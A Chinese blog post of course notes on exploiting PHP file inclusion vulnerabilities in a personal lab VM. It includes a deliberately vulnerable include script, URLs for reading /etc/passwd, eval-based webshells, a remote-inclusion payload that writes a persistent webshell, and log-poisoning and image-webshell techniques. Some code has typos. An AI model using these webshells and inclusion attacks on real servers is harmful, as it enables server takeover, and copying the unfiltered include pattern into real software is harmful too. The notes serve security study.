首页 > 其他分享 >文件包含漏洞

文件包含漏洞

时间:2023-03-13 16:36:21浏览次数:40  
标签:文件 shell 包含 虚拟机 漏洞 地址 php

b站蜗牛学院课2-P121

所用虚拟机地址:192.168.112.188
所用本机地址:192.168.112.1

Part 1 文件包含基本知识

一、本地文件包含

1. 源代码

在虚拟机的security/fileinc.php文件中写入如下代码:

<?php
$filename = $_GET[‘filename’];
include $filename; //或include_once, require, require_once

echo "<hr>欢迎来到PHP的世界。<br>";

?>

2. 利用条件

php.ini 中 allow_url_fopen=On (默认开启)
用户参数可控且后台代码没有对包含的文件进行过滤 #什么意思?

3. 利用方式

【例1】在浏览器中输入:

http://虚拟机地址/security/fileinc.php?Filename=misc.php

报错:需要传入uname、passwd值
改正:

http://虚拟机地址/security/fileinc.php?Filename=misc.php&uname=woniu&passwd=123456

【例2】读取任意文件:

http://虚拟机地址/security/fileinc.php?Filename=/etc/passwd

/etc/passwd为文件路径


Filename=./login.html

4. 注意事项

一旦文件中出现使用include或其他三个文件包含的函数,那么无论包含的文件后缀名是什么,均会当成PHP代码来执行。其余文字将当做普通html文本显示。


二、远程文件包含

1. 利用条件

php.ini 中 allow_url_fopen=On (默认开启)和 allow_url_include=Off(默认关闭,需开启,vim etc\php.ini
用户参数可控且后台代码没有对包含的文件进行过滤 #什么意思?

2. 利用方式

【例1】试探:
在浏览器中输入:

http://虚拟机地址/security/fileinc.php?filename=https://www.woniuxy.com/index.php

filename=可为任意一个网页地址
若出现了网页,则说明存在文件包含漏洞。

【例2】实现远程文件包含:
①在winD:\XampNew\htdocs\learn\shell.php中输入下列代码:

<?php

//phpinfo();
@eval($_GET['code']);

?>

在windows浏览器中输入:

http://localhost/learn/shell.php?code=phpinfo();

出现windows的php信息。
②在win浏览器输入:

http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.php

需关闭win和虚拟机的防火墙,即可访问。
③在winsows浏览器输入:

http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.php?code=phpinfo();

<注 1>.在使用远程文件包含时,可使用shell.php?code=phpinfo()中的?,因为已将https://本机地址/learn/shell.php?code=phpinfo()这整个部分当作url地址来包含,不会把?code=phpinfo()当作第二个参数。
<注 2> 此时结果未被包含在虚拟机地址中使用,未通过虚拟机中的fileinc.php执行,显示的结果是本机的信息,与单独实现https://本机地址/learn/shell.php?code=phpinfo();结果一样。更正:

  1. 将winD:\XampNew\htdocs\learn\shell.php另存为shell.txt
  2. 在win浏览器输入:
http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.txt&code=phpinfo();


用&后,code为filename的第二个参数
用?时,filename后边为一个整体的网址

此时执行的结果才是包含之后的。
shell.php?code=phpinfo();
shell.txt&code=phpinfo();


三、利用远程包含文件写木马

①在winD:\XampNew\htdocs\learn\shell.txt中写入下列代码:

<?php
// phpinfo();
// @eval($_GET['code']);
file_put_contenes("temp/muma2.php", '<?php @eval($_GET["code"]); ?>');
?>

// file_put_contenes的第一个参数:虚拟机中的要包含进去的文件路径文件名,第二个参数:要写入的文本的内容。

②要使虚拟机包含木马文件muma2.php
在win浏览器中输入:

http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.txt

执行后,成功在虚拟机temp/目录下写入木马文件muma2.php
③执行木马文件:
在win浏览器中输入:

http://虚拟机地址/security/temp/muma2.php?code=phpinfo();

执行后,出现php信息。


Part 2. 文件包含漏洞利用

一、利用前提

  1. 存在一个文件包含漏洞点
  2. 我们有其他可控点可以写入到本地文件
  3. 写入的本地文件路径可知或可探测

二、包含web日志(步骤)

  1. 前期通过信息搜集,得到了相关的服务器信息,比如得知中间件是apache。apache记录web日志的文件有access_logerror_log(路径:/opt/lampp/logs)。
//在win浏览器中输入log路径进行探测:
http://虚拟机地址/security/fileinc.php?filename=/opt/lampp/logs/access.log

//报错了。说明路径或文件名不对,将`access.log`改为`access_log`再探测:
http://虚拟机地址/security/fileinc.php?filename=/opt/lampp/logs/access_log
//出现日志文件,探测成功,得到日志文件路径。
  1. 这时我们访问服务器的时候,通过burp修改我们的请求,将恶意代码写在请求内,这时候web日志就会将我们的恶意代码写入到日志文件中。由于日志文件一般来说都是默认的路径,比较容易猜测,这样就满足了我们的本地包含getshell的条件。 比如get请求:get "<?php php.info();?>".html

三、包含登录日志

四、包含mysql日志

一般是在成功访问到MySQL后实现的,攻击者进入MySQL,可以通过数据库查询接口,实现恶意代码写入mysql日志。方法和原理与包含web日志相同。
比如进入phmyadmin后台,或者爆破成功进入MySQL
查看日志文件状态:show variables like general_log
写入恶意代码:select"<? phponfo();?>",根据日志文件路径即可包含。

五、包含上传文件

图片马:

copy picture.jpg/b + shell.php/a picma.jpg

六、包含临时文件

标签:文件,shell,包含,虚拟机,漏洞,地址,php
From: https://www.cnblogs.com/xiaosu23/p/17211838.html

相关文章

  • linux ssh配置文件配置参数
    目录linuxssh配置文件配置参数HostKeyMaxAuthTriesNumberOfPasswordPromptslinuxssh配置文件配置参数HostKey/etc/ssh/ssh_host_rsa_keyHostKey/etc/ssh/ssh_host_e......
  • 桌面文件又多又乱?教你用Python一键清理,只需20行代码轻松实现!
    我这个人比较懒,总是喜欢把收到的重要文件,或者比较紧急的文件放到桌面,久而久之,桌面或者文件夹越来越乱。不知道大家是不是像我一样的我滴妈呀,看着就很崩溃!之......
  • PHPCMS粘贴word图片且图片文件自动上传功能
    ​图片的复制无非有两种方法,一种是图片直接上传到服务器,另外一种转换成二进制流的base64码目前限chrome浏览器使用首先以um-editor的二进制流保存为例:打开umeditor.js,......
  • IO流、File文件操作、文件操作
    文件操作1.File类File类是用于操作文件和文件夹的一种方式,可以针对文件和文件夹完成增删改查操作。路径分隔符:针对windows默认采用\作为分隔符Linux、unix系统默认......
  • anroid studio Dimens生成可适配的多个文件 进行多设备兼容(手机)
    1、Settings 2、InstallPluginfromDisk  3、选择ScreenMatch.jar:这个jar包在最新版的androidstudio上不兼容,这个测试版本androidstudio3.6  重启ID......
  • chrome导出导入har文件
    问题在特定的网络情况,需要分析网络请求一线复现问题,导出网络请求har发给二线分析强求解决har(httparchiveformat)http请求归档文件,用来保存http请求过程的文件保存h......
  • 15. 文件操作
    一、什么是文件  文件是指一组相关数据的有序集合。这个数据集合有一个名称,叫做文件名。所有的文件都通过流进行输入、输出操作。与文本流和二进制流对应,文本可以分为......
  • lvgl入门学习第五篇lv_conf.h文件
    lv_conf.h是一个用户级别的文件不同工程可以有不同的lv_conf.h1、lv_conf.h文件介绍包含10个板块,lv_conf.h可以再下图中位置找到,并打开。......
  • HUSTOJ后台文件上传文件大小限制修改
    1.首先根据提示,到Ubuntu系统平台相关目录下找到php.ini,修改相应变量值。2.正常情况下,设置后可以实现大文件上传。3.若依旧出现413RequestEntityTooLarge,则需要修改N......
  • HUSTOJ后台公告KindEditor编辑器中文件上传类型限制修改
    1.进入Ubuntu系统,/home/judge/src/web目录2.搜索找到KindEditor文件夹3.进入PHP文件夹,打开upload_json.php4.按照提示找到限制上传文件类型的代码,添加相应文件扩展名即......